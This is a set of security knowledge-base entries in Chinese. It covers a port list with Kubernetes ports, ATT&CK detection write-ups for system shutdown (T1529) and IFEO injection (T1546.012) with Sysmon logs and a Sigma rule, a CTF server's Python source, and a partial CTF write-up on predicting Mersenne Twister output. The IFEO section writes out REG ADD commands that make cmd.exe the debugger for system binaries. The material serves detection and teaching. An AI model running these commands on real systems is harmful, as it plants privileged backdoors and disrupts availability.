| 10000 | [Webmin](https://zh.wikipedia.org/w/index.php?title=Webmin&action=edit&redlink=1) - web based Linux admin tool | 非官方 |
| 10000 | [BackupExec](https://zh.wikipedia.org/w/index.php?title=BackupExec&action=edit&redlink=1) | 非官方 |
| 10008 | Octopus Multiplexer - CROMP protocol primary port, hoople.org | 官方 |
| 10017 | AIX,NeXT, HPUX - rexd daemon control port | 非官方 |
| 10024/TCP | Zimbra - smtp [mta] - to amavis from postfix | 非官方 |
| 10025/TCP | Ximbra - smtp [mta] - back to postfix from amavis | 非官方 |
| 10050/TCP | Zabbix-Agent | |
| 10051/TCP | Zabbix-Server | |
| 10113/TCP,UDP | NetIQ Endpoint | 官方 |
| 10114/TCP,UDP | NetIQ Qcheck | 官方 |
| 10115/TCP,UDP | NetIQ Endpoint | 官方 |
| 10116/TCP,UDP | NetIQ VoIP Assessor | 官方 |
| 10480 | SWAT 4 Dedicated Server | 非官方 |
| 11211 | [Memcached](https://zh.wikipedia.org/wiki/Memcached) | 非官方 |
| 11235 | Savage:Battle for Newerth Server Hosting | 非官方 |
| 11294 | Blood Quest Online Server | 非官方 |
| 11371 | [PGP](https://zh.wikipedia.org/wiki/PGP) HTTP Keyserver | 官方 |
| 11576 | [IPStor](https://zh.wikipedia.org/w/index.php?title=IPStor&action=edit&redlink=1) Server management communication | 非官方 |
| 12035/UDP | 《[第二人生](https://zh.wikipedia.org/wiki/第二人生_(互聯網))》, used for server UDP in-bound[[7\]](https://zh.wikipedia.org/zh-sg/TCP/UDP端口列表#cite_note-http://wiki.secondlife.com/wiki/Authentication_Flow@step_4-7) | 非官方 |
| 12345 | [NetBus](https://zh.wikipedia.org/wiki/NetBus) - remote administration tool (often [特洛伊木马 (电脑)](https://zh.wikipedia.org/wiki/特洛伊木马_(电脑))). Also used by [NetBuster](https://zh.wikipedia.org/w/index.php?title=NetBuster&action=edit&redlink=1). Little Fighter 2 (TCP). | 非官方 |
| 12975/TCP | LogMeIn [Hamachi](https://zh.wikipedia.org/w/index.php?title=Hamachi&action=edit&redlink=1) (VPN tunnel software;also port 32976) | |
| 13000-13050/UDP | 《[第二人生](https://zh.wikipedia.org/wiki/第二人生_(互聯網))》, used for server UDP in-bound[[8\]](https://zh.wikipedia.org/zh-sg/TCP/UDP端口列表#cite_note-8) | 非官方 |
| 13720/TCP | [赛门铁克](https://zh.wikipedia.org/wiki/赛门铁克) [NetBackup](https://zh.wikipedia.org/w/index.php?title=NetBackup&action=edit&redlink=1) - bprd (formerly [VERITAS](https://zh.wikipedia.org/w/index.php?title=Veritas_Software&action=edit&redlink=1)) | |
| 13721/TCP | [赛门铁克](https://zh.wikipedia.org/wiki/赛门铁克) [NetBackup](https://zh.wikipedia.org/w/index.php?title=NetBackup&action=edit&redlink=1) - bpdbm (formerly [VERITAS](https://zh.wikipedia.org/w/index.php?title=Veritas_Software&action=edit&redlink=1)) | |
| 13724/TCP | [赛门铁克](https://zh.wikipedia.org/wiki/赛门铁克) Network Utility - vnet (formerly [VERITAS](https://zh.wikipedia.org/w/index.php?title=Veritas_Software&action=edit&redlink=1)) | |
| 13782/TCP | [赛门铁克](https://zh.wikipedia.org/wiki/赛门铁克) [NetBackup](https://zh.wikipedia.org/w/index.php?title=NetBackup&action=edit&redlink=1) - bpcd (formerly [VERITAS](https://zh.wikipedia.org/w/index.php?title=Veritas_Software&action=edit&redlink=1)) | |
| 13783/TCP | [赛门铁克](https://zh.wikipedia.org/wiki/赛门铁克) VOPIED protocol (formerly [VERITAS](https://zh.wikipedia.org/w/index.php?title=Veritas_Software&action=edit&redlink=1)) | |
| 14567/UDP | [战地风云1942](https://zh.wikipedia.org/wiki/戰地風雲1942) and mods | 非官方 |
| 15000/TCP | [Bounce (网络)](https://zh.wikipedia.org/wiki/Bounce_(网络)) | 非官方 |
| 15000/TCP | [韦诺之战](https://zh.wikipedia.org/wiki/韦诺之战) | |
| 15567/UDP | [战地风云:越南](https://zh.wikipedia.org/wiki/戰地風雲:越南) and mods | 非官方 |
| 15345/UDP | [XPilot](https://zh.wikipedia.org/w/index.php?title=XPilot&action=edit&redlink=1) | 官方 |
| 16000/TCP | [Bounce (网络)](https://zh.wikipedia.org/wiki/Bounce_(网络)) | 非官方 |
| 16080/TCP | [MacOS Server](https://zh.wikipedia.org/wiki/MacOS_Server) performance cache for [超文本传输协议](https://zh.wikipedia.org/wiki/超文本传输协议)[[9\]](https://zh.wikipedia.org/zh-sg/TCP/UDP端口列表#cite_note-9) | 非官方 |
| 16384/UDP | Iron Mountain Digital - online backup | 非官方 |
| 16567/UDP | [战地2](https://zh.wikipedia.org/wiki/战地2) and mods | 非官方 |
| 17788/UDP | [PPS网络电视](https://zh.wikipedia.org/wiki/PPS網路電視) | 非官方 |
| 19132/UDP | [Minecraft基岩版](https://zh.wikipedia.org/wiki/我的世界_基岩版)默认服务器端口号 | 非官方 |
| 19133/UDP | [Minecraft基岩版](https://zh.wikipedia.org/wiki/我的世界_基岩版)默认服务器端口号([IPv6](https://zh.wikipedia.org/wiki/IPv6)) | 非官方 |
| 19226/TCP | [熊猫 (消歧义)](https://zh.wikipedia.org/wiki/熊猫_(消歧义)) AdminSecure Communication Agent | 非官方 |
| 19638/TCP | Ensim Control Panel | 非官方 |
| 19813/TCP | 4D database Client Server Communication | 非官方 |
| 20000 | [Usermin](https://zh.wikipedia.org/w/index.php?title=Usermin&action=edit&redlink=1) - 基于网络的用户工具 | 官方 |
| 20720/TCP | [Symantec i3](https://zh.wikipedia.org/w/index.php?title=Symantec_i3&action=edit&redlink=1) Web GUI server | 非官方 |
| 22347/TCP,UDP | WibuKey - default port for WibuKey Network Server of WIBU-SYSTEMS AG | 官方 |
| 22350/TCP,UDP | CodeMeter - default port for CodeMeter Server of WIBU-SYSTEMS AG | 官方 |
| 24554/TCP,UDP | [binkp](https://zh.wikipedia.org/w/index.php?title=Binkp&action=edit&redlink=1) - [FidoNet](https://zh.wikipedia.org/wiki/FidoNet) mail transfers over [TCP/IP协议族](https://zh.wikipedia.org/wiki/TCP/IP协议族) | 官方 |
| 24800 | [Synergy](https://zh.wikipedia.org/wiki/Synergy):keyboard/mouse sharing software | 非官方 |
| 24842 | [StepMania:Online](https://zh.wikipedia.org/wiki/StepMania):《[劲爆热舞](https://zh.wikipedia.org/wiki/勁爆熱舞)》模拟器 | 非官方 |
| 25565/TCP | [Minecraft](https://zh.wikipedia.org/wiki/我的世界)默认服务器端口号 | 非官方 |
| 25999/TCP | [Xfire](https://zh.wikipedia.org/w/index.php?title=Xfire&action=edit&redlink=1) | 非官方 |
| 26000/TCP,UDP | [Id Software](https://zh.wikipedia.org/wiki/Id_Software)'s 《[Quake](https://zh.wikipedia.org/wiki/Quake)》 server, | 官方 |
| 26000/TCP | [CCP Games](https://zh.wikipedia.org/wiki/CCP_Games)'s [星战前夜](https://zh.wikipedia.org/wiki/星战前夜) Online gaming MMORPG, | 非官方 |
| 27000/UDP | (through 27006) [Id Software](https://zh.wikipedia.org/wiki/Id_Software)'s 《[雷神世界](https://zh.wikipedia.org/wiki/雷神世界)》 master server | 非官方 |
| 27010/UDP | [Half-Life](https://zh.wikipedia.org/wiki/半衰期系列)及其修改版,如《[反恐精英系列](https://zh.wikipedia.org/wiki/反恐精英系列)》 | 非官方 |
| 27015/UDP | [Half-Life](https://zh.wikipedia.org/wiki/半衰期系列)及其修改版,如《[反恐精英系列](https://zh.wikipedia.org/wiki/反恐精英系列)》 | 非官方 |
| 27017/TCP | MongoDB 数据库 | 非官方 |
| 27374 | [Sub7](https://zh.wikipedia.org/w/index.php?title=Sub7&action=edit&redlink=1)'s default port. Most [脚本小子](https://zh.wikipedia.org/wiki/脚本小子)s do not change the default port. | 非官方 |
| 27500/UDP | (through 27900) [Id Software](https://zh.wikipedia.org/wiki/Id_Software)'s 《[雷神世界](https://zh.wikipedia.org/wiki/雷神世界)》 | 非官方 |
| 27888/UDP | [Kaillera](https://zh.wikipedia.org/w/index.php?title=Kaillera&action=edit&redlink=1) server | 非官方 |
| 27900 | (through 27901) [任天堂](https://zh.wikipedia.org/wiki/任天堂) [任天堂Wi-Fi连接](https://zh.wikipedia.org/wiki/任天堂Wi-Fi连接) | 非官方 |
| 27901/UDP | (through 27910) [Id Software](https://zh.wikipedia.org/wiki/Id_Software)'s 《[雷神之锤II](https://zh.wikipedia.org/wiki/雷神之锤II)》 master server | 非官方 |
| 27960/UDP | (through 27969) [动视](https://zh.wikipedia.org/wiki/动视)'s 《[Enemy Territory](https://zh.wikipedia.org/w/index.php?title=Enemy_Territory&action=edit&redlink=1)》 and [Id Software](https://zh.wikipedia.org/wiki/Id_Software)'s 《[雷神之锤III竞技场](https://zh.wikipedia.org/wiki/雷神之锤III竞技场)》 and 《Quake III》 and some ioquake3 derived games | 非官方 |
| 28910 | [任天堂](https://zh.wikipedia.org/wiki/任天堂) [任天堂Wi-Fi连接](https://zh.wikipedia.org/wiki/任天堂Wi-Fi连接) | 非官方 |
| 28960 | [决胜时刻2](https://zh.wikipedia.org/wiki/決勝時刻2) Common Call of Duty 2 port - (PC Version) | 非官方 |
| 29900 | (through 29901) [任天堂](https://zh.wikipedia.org/wiki/任天堂) [任天堂Wi-Fi连接](https://zh.wikipedia.org/wiki/任天堂Wi-Fi连接) | 非官方 |
| 29920 | [任天堂](https://zh.wikipedia.org/wiki/任天堂) [任天堂Wi-Fi连接](https://zh.wikipedia.org/wiki/任天堂Wi-Fi连接) | 非官方 |
| 30000 | [Pokemon Netbattle](https://zh.wikipedia.org/w/index.php?title=Pokemon_Netbattle&action=edit&redlink=1) | 非官方 |
| 30564/TCP | [Multiplicity](https://zh.wikipedia.org/w/index.php?title=Multiplicity_(software)&action=edit&redlink=1):keyboard/mouse/clipboard sharing software | 非官方 |
| 31337/TCP | [Back Orifice](https://zh.wikipedia.org/w/index.php?title=Back_Orifice&action=edit&redlink=1) - remote administration tool(often [特洛伊木马 (电脑)](https://zh.wikipedia.org/wiki/特洛伊木马_(电脑))) | 非官方 |
| 31337/TCP | xc0r3 - xc0r3 security antivir port | 非官方 |
| 31415 | [ThoughtSignal](https://zh.wikipedia.org/w/index.php?title=ThoughtSignal&action=edit&redlink=1) - Server Communication Service(often [Informational](https://zh.wikipedia.org/w/index.php?title=Information_(computing)&action=edit&redlink=1)) | 非官方 |
| 31456-31458/TCP | [TetriNET](https://zh.wikipedia.org/w/index.php?title=TetriNET&action=edit&redlink=1) ports (in order: IRC, game, and spectating) | 非官方 |
| 32245/TCP | [MMTSG-mutualed](https://zh.wikipedia.org/w/index.php?title=True_Mutualization_Service&action=edit&redlink=1) over [MMT](https://zh.wikipedia.org/w/index.php?title=True_Mutualization_Service&action=edit&redlink=1) (encrypted transmission) | 非官方 |
| 33434 | [Traceroute](https://zh.wikipedia.org/wiki/Traceroute) | 官方 |
| 37777/TCP | [Digital Video Recorder hardware](https://zh.wikipedia.org/w/index.php?title=Digital_Video_Recorder_hardware&action=edit&redlink=1) | 非官方 |
| 36963 | [Counter Strike 2D](https://zh.wikipedia.org/w/index.php?title=Counter_Strike_2D&action=edit&redlink=1) multiplayer port (2D clone of popular CounterStrike computer game) | 非官方 |
| 40000 | SafetyNET p | 官方 |
| 43594-43595/TCP | [RuneScape](https://zh.wikipedia.org/wiki/RuneScape) | 非官方 |
| 47808 | [BACnet](https://zh.wikipedia.org/wiki/BACnet) Building Automation and Control Networks | 官方 |
### 49152到65535号端口
根据定义,该段端口属于“动态端口”范围,没有端口可以被正式地注册占用。
## K8s端口列表
| port | process | description |
| ---------- | -------------- | ------------------------------------------------------------ |
| 443/TCP | kube-apiserver | Kubernetes API port |
| 2379/TCP | etcd | |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full node access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, runningpods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
|
sec-knowleage
|
# T1529-win-系统关机或重启
## 来自ATT&CK的描述
攻击者可能会关闭或者重启系统,用来中断正常用户对这些系统的访问或者为了破坏这些系统。操作系统包含用于启动计算机关闭或重新启动的命令。在某些情况下,这些命令还可以用于远程计算机关闭或者重启。关闭或重新启动系统可能会干扰合法用户对计算机资源的访问。
攻击者可能会以其他方式(例如磁盘结构擦除或禁止系统恢复)对系统造成影响后尝试关闭或者重新引导系统,以加快对系统可用性的影响。
## 测试案例
windows系统自带一个名为Shutdown.exe的程序,可以用于关机操作(位置在Windows\System32下),一般情况下Windows系统的关机都可以通过调用程序 shutdown.exe来实现的,同时该程序也可以用于终止正在计划中的关机操作。——来自百度百科
具体shutdown程序的用法,可以参考微软官方说明:<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown>
## 检测日志
windows 安全日志
## 测试复现
这里只演示使用shutdown执行定时关机任务。
```bash
C:\Users\Administrator>Shutdown -s -t 13200 #220分钟后关机
C:\Users\Administrator>Shutdown -a #取消关机
```
## 测试留痕
Event_ID_4688_安全日志
```yml
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0x7169C
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x730
新进程名称: C:\Windows\System32\shutdown.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x15d0
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: Shutdown -s -t 13200
已创建新进程。
创建者主题:
安全 ID: SYSTEM
帐户名: WIN-1CIA2BP8VBJ$
帐户域: QAX
登录 ID: 0x3E7
目标主题:
安全 ID: NULL SID
帐户名: Administrator
帐户域: QAX
登录 ID: 0x7169C
进程信息:
新进程 ID: 0x1418
新进程名称: C:\Windows\System32\wlrmdr.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x27c
创建者进程名称: C:\Windows\System32\winlogon.exe
进程命令行: -s 120000 -f 2 -t 即将注销你的登录 -m Windows 将在 220 分钟后关闭。
```
Event_ID_1074_系统日志
```yml
进程 C:\Windows\system32\winlogon.exe (WIN-MH0D37EDEEI) 由于以下原因已代表用户 NT AUTHORITY\SYSTEM 启动计算机 WIN-1CIA2BP8VBJ 的 重启: 操作系统: 升级(计划内)
原因代码: 0x80020003
关机类型: 重启
注释:
```
Event_ID_6006_系统日志
```yml
事件日志服务已停止。
```
## 检测规则/思路
### sigma规则
```yml
title: 使用shutdown命令使计算机关机或者重新启动
description: Windows下使用使用shutdown命令使计算机重新启动或者关机。
tags: T1529
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4688 #进程创建
New ProcessName: 'shutdown.exe' #进程信息>新建进程名称
Processcommandline|contain: 'Shutdown' #进程信息>进程命令行参数
selection2:
EventID:
- 1074 #计算机重启
- 6006 #事件日志服务已停止
condition: 1 of selection*
level: high
```
## 建议
使用进程监视来监视与关闭或重新引导系统有关的二进制文件的执行和命令行参数。Windows事件日志还可以记录与关机或重新启动相关的事件,例如:事件ID1074和6006。
## 参考推荐
MITRE-ATT&CK-T1529
<https://attack.mitre.org/techniques/T1529/>
windows下shutdown命令使用方法官方介绍
<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown>
|
sec-knowleage
|
#!/usr/bin/python
import time;
import random;
FLAG = '';
def cycleLen(data, place):
seen = {};
count = 0;
while not place in seen:
seen[place] = 1;
count += 1;
place = data[place];
return count;
def realSign(data):
res = 1;
for i in range(256):
res *= cycleLen(map(ord, data), i);
return res;
import base64, SocketServer, os, sys, hashlib;
class ServerHandler(SocketServer.BaseRequestHandler):
def fail(self, message):
self.request.sendall(message + "\n");
self.request.close();
def pow(self):
proof = base64.b64encode(os.urandom(9));
self.request.sendall(proof);
test = self.request.recv(20);
ha = hashlib.sha1();
ha.update(test);
if test[0:12] != proof or not ha.digest().endswith('\x00\x00\x00'):
self.fail("Bad proof of work.");
def sign(self, invalid):
data = base64.b64decode(self.request.recv(172));
if len(data) != 128:
self.fail("Bad data");
return;
if data == invalid:
self.fail("Same data");
return;
self.request.sendall(str(realSign(self.SECRET + data)) + "\n");
def check(self, compare):
sig = int(self.request.recv(620));
return sig == realSign(self.SECRET + compare);
def handle(self):
#self.pow();
self.SECRET = os.urandom(128);
self.TO_SIGN = os.urandom(128);
self.request.sendall("You need to sign:\n");
self.request.sendall(base64.b64encode(self.TO_SIGN));
for i in range(256):
self.request.sendall("\n1) Sign something\n2) Give me signiture of data\n");
op = int(self.request.recv(2));
if op == 1:
self.sign(self.TO_SIGN);
elif op == 2:
if self.check(self.TO_SIGN):
self.request.sendall(FLAG);
break;
else:
self.fail("Bad option");
break;
self.request.close();
class ThreadedServer(SocketServer.ForkingMixIn, SocketServer.TCPServer):
pass;
if __name__ == "__main__":
HOST = sys.argv[1];
PORT = int(sys.argv[2]);
FLAG = open('flag.txt', 'r').read();
server = ThreadedServer((HOST, PORT), ServerHandler);
server.allow_reuse_address = True;
server.serve_forever();
|
sec-knowleage
|
# T1546-012-win-事件触发执行-图片文件执行选项注入
## 来自ATT&CK描述
攻击者可以通过执行由图像文件执行选项 (IFEO) 调试器触发的恶意内容来建立持久性或权限提升。IFEO使开发人员能够将调试器附加到应用程序。创建进程时,应用程序的IFEO中的调试器将附加到应用程序的名称之前,从而有效地在调试器下启动新进程(例如,`C:\dbg\ntsd.exe -g notepad.exe`)。
IFEO可以通过注册表直接设置,也可以通过GFlags工具在Global Flags中设置。IFEO表示为`Debugger`注册表中的值,在那里是附加调试器的二进制文件`HKLM\SOFTWARE{{\Wow6432Node}}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\``<executable>`
IFEO还可以在指定程序静默退出(即被自身或第二个非内核模式进程提前终止)时启动任意监控程序。与调试器类似,静默退出监控可以通过GFlags或通过直接修改 IFEO和静默进程退出注册表值来启用`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\`。
与Accessibility Features类似,在 Windows Vista 和更高版本以及 Windows Server 2008或更高版本上,可以修改注册表项,将“cmd.exe”或其他提供后门访问的程序配置为可访问性程序的“调试器” (例如:utilman.exe)。修改注册表后,在使用键盘或与远程桌面协议连接时在登录屏幕上按适当的组合键将导致“调试器”程序以 SYSTEM 权限执行。
与Process Injection类似,这些值也可能被滥用,通过利用恶意可执行文件在计算机上不同进程的上下文中加载和运行来获得权限提升。安装IFEO机制还可以通过持续触发调用来提供持久性。
恶意软件还可能通过注册无效调试器来使用IFEO来减少防御,这些调试器重定向并有效地禁用各种系统和安全应用程序。
## 测试案例
### 测试1 IFEO Add Debugger
测试命令,用命令提示符运行,需要管理员权限(root/admin):
```
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
```
target_binary:C:\Windows\System32\calc.exe
payload_binary:C:\Windows\System32\cmd.exe
清理命令:
```
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1
```
### 测试2 IFEO Global Flags
测试命令,用命令提示符运行,需要管理员权限(root/admin):
```
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
```
target_binary:C:\Windows\System32\notepad.exe
payload_binary:C:\Windows\System32\cmd.exe
清理命令:
```
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1
```
## 检测日志
Windows Sysmon日志
## 测试复现
### 测试1 IFEO Add Debugger
```
C:\Users\Administrator.ZHULI>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe"
操作成功完成。
C:\Users\Administrator.ZHULI>reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\calc.exe" /v Debugger /f >nul 2>&1
```
### 测试2 IFEO Global Flags
```
C:\Users\Administrator.ZHULI>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
操作成功完成。
C:\Users\Administrator.ZHULI>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\C:\Windows\System32\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
操作成功完成。
C:\Users\Administrator.ZHULI>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\C:\Windows\System32\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\cmd.exe"
操作成功完成。
C:\Users\Administrator.ZHULI>reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\notepad.exe" /v GlobalFlag /f >nul 2>&1
C:\Users\Administrator.ZHULI>reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\C:\Windows\System32\notepad.exe" /v ReportingMode /f >nul 2>&1
C:\Users\Administrator.ZHULI>reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\C:\Windows\System32\notepad.exe" /v MonitorProcess /f >nul 2>&1
```
## 测试留痕
### 测试1 ## IFEO Add Debugger
```
#进程创建事件,EventID:1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
UtcTime: 2022-01-13 07:34:03.518
ProcessGuid: {78c84c47-d5eb-61df-c829-000000000800}
ProcessId: 3704
Image: C:\Windows\System32\reg.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
Description: Registry Console Tool
Product: Microsoft® Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe"
CurrentDirectory: C:\Users\Administrator.ZHULI\
User: ZHULI\Administrator
LogonGuid: {78c84c47-f665-61db-95da-440100000000}
LogonId: 0x144DA95
TerminalSessionId: 3
IntegrityLevel: High
Hashes: SHA1=429DF8371B437209D79DC97978C33157D1A71C4B,MD5=8A93ACAC33151793F8D52000071C0B06,SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC
ParentProcessGuid: {78c84c47-d076-61df-ec28-000000000800}
ParentProcessId: 5864
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: ZHULI\Administrator
#注册表修改事件,EventID:13
Registry value set:
RuleName: technique_id=T1546.012,technique_name=Image File Execution Options Injection
EventType: SetValue
UtcTime: 2022-01-13 07:34:03.518
ProcessGuid: {78c84c47-d5eb-61df-c829-000000000800}
ProcessId: 3704
Image: C:\Windows\system32\reg.exe
TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\calc.exe\Debugger
Details: C:\Windows\System32\cmd.exe
User: ZHULI\Administrator
```
### 测试2 IFEO Global Flags
```
#进程创建事件不再列举,重点关注一下注册表更改信息,事件ID:13
Registry value set:
RuleName: technique_id=T1546.012,technique_name=Image File Execution Options Injection
EventType: SetValue
UtcTime: 2022-01-13 07:42:06.705
ProcessGuid: {78c84c47-d7ce-61df-122a-000000000800}
ProcessId: 6828
Image: C:\Windows\system32\reg.exe
TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\notepad.exe\GlobalFlag
Details: DWORD (0x00000200)
User: ZHULI\Administrator
```
## 检测规则/思路
### 建议
这种类型的攻击技术无法通过预防性控制轻松缓解,因为它基于对系统功能的滥用。
## 参考推荐
MITRE-ATT&CK-T1546-012
<https://attack.mitre.org/techniques/T1546/012>
Atomic-red-team-T1546-012
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.012/T1546.012.md>
|
sec-knowleage
|
# Slot Machine Reloaded
Category: Reversing, 300 Points
## Description
> Remember the Slot Machine from CSA 2019?
>
> Well, this one is a little harder...
```python
#!/usr/bin/env python3
import random
import collections
import math
from .secret import flag
PRINTABLE = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+-/:.;<=>?@[]^_`{}"
flag_len = len(flag)
NO_COINS = "NO MORE COINS! GOODBYE."
NOT_ENOUGH_COINS = "YOU DON'T HAVE ENOUGH COINS!"
INVALID_COIN_NUMBER = "COIN NUMBER CAN'T BE NEGATIVE"
INITIAL_COINS = 10
class Slotmachine(object):
def __init__(self):
seed = random.SystemRandom().getrandbits(64) # Using SystemRandom is slow, use only for seed.
self.random = random.Random(seed) # This will make sure no one messes with my seeds!
self.slots = [list(PRINTABLE) for i in range(flag_len)]
self.attempt_num = 0
self.total_coins = INITIAL_COINS
self.last_result = ""
self.last_gamble = 0
def get_prize(self):
result = self.last_result
prize = sum([x for x in collections.Counter(result).values() if x > 2])
prize *= self.last_gamble
self.total_coins += prize
return prize
def prepend_flag(self):
for i in range(flag_len):
self.slots[i].remove(flag[i])
self.slots[i] = [flag[i]] + self.slots[i]
def check_invalid_input(self, coins):
if self.total_coins <= 0:
self.last_result = ""
return NO_COINS
if self.total_coins < coins:
self.last_result = ""
return NOT_ENOUGH_COINS
if coins < 0:
self.last_result = ""
return INVALID_COIN_NUMBER
return None
# My cat wrote this function
def choice(self):
rand_num = format(self.random._randbelow((1 << (flag_len*len(f'{len(PRINTABLE) - 1:b}'))) - 1),
'#0%db' % (len(self.slots)*int(math.log(len(PRINTABLE), 2)) + 2))[2:]
result = ""
j = 0
for i in range(0,len(rand_num),len(f'{len(PRINTABLE) - 1:b}')):
result += self.slots[j][int(rand_num[i:i+len(f'{len(PRINTABLE) - 1:b}')],2)]
j += 1
return result
def spin(self, coins):
invalid_message = self.check_invalid_input(coins)
if invalid_message:
return invalid_message.center(flag_len)
self.last_gamble = coins
self.total_coins -= coins
if self.attempt_num == 200:
self.prepend_flag()
self.attempt_num += 1
result = self.choice()
self.last_result = result
return result
def main():
slotmachine = Slotmachine()
print(f"You have {slotmachine.total_coins} coins")
get_next_num = True
while get_next_num:
try:
prize = 0
coins = int(input("Enter number of coins:\n"))
result = slotmachine.spin(coins)
if result == NO_COINS:
get_next_num = False
elif result != NOT_ENOUGH_COINS:
prize = slotmachine.get_prize()
print(result)
print(f"You won {prize} coins!")
print(f"{slotmachine.total_coins} coins left.")
except ValueError:
get_next_num = False
except NameError:
get_next_num = False
if __name__ == "__main__":
main()
```
## Solution
This is a follow-up for the slot-machine challenge in [CSA 2019](https://github.com/Dvd848/CTFs/tree/master/2019_CheckPoint_CSA). In that challenge, the slot machine leaked us its random seed, allowing us to recreate the list of random number that Python's `random` library would produce. In this challenge, the creators took care of this problem, by using `SystemRandom` to generate the seed for `random`:
```python
seed = random.SystemRandom().getrandbits(64) # Using SystemRandom is slow, use only for seed.
self.random = random.Random(seed) # This will make sure no one messes with my seeds!
```
Now we can't predict the random seed, and therefore can't predict the values received from `random`. Or can we?
When visiting the documentation page of Python's [random](https://docs.python.org/3/library/random.html), we can see the following:
> **Warning**: The pseudo-random generators of this module should not be used for security purposes. For security or cryptographic uses, see the `secrets` module.
>
> See also M. Matsumoto and T. Nishimura, “Mersenne Twister: A 623-dimensionally equidistributed uniform pseudorandom number generator”, ACM Transactions on Modeling and Computer Simulation Vol. 8, No. 1, January pp.3–30 1998.
We are warned not to use `random` for anything important, and informed that Python's `random` uses an algorithm called *Mersenne Twister* - A 623-dimension PRNG. A short research about [Mersenne Twister](https://en.wikipedia.org/wiki/Mersenne_Twister) reveals that:
> Is not cryptographically secure (...). The reason is that observing a sufficient number of iterations (624 in the case of MT19937, since this is the size of the state vector from which future iterations are produced) allows one to predict all future iterations.
So it's possible to predict the next random numbers even if we don't have the original seed, provided that we can identify `624` DWORDs generated by the PRNG. There's even a [Python library](https://github.com/kmyk/mersenne-twister-predictor) that wraps the whole thing in a nice API. Now what?
Let's take a closer look at the slot machine. It starts by initializing the slots in a predictable way:
```python
self.slots = [list(PRINTABLE) for i in range(flag_len)]
```
Then, for each iteration, it scrambles the slots using this horrible function:
```python
# My cat wrote this function
def choice(self):
rand_num = format(self.random._randbelow((1 << (flag_len*len(f'{len(PRINTABLE) - 1:b}'))) - 1),
'#0%db' % (len(self.slots)*int(math.log(len(PRINTABLE), 2)) + 2))[2:]
result = ""
j = 0
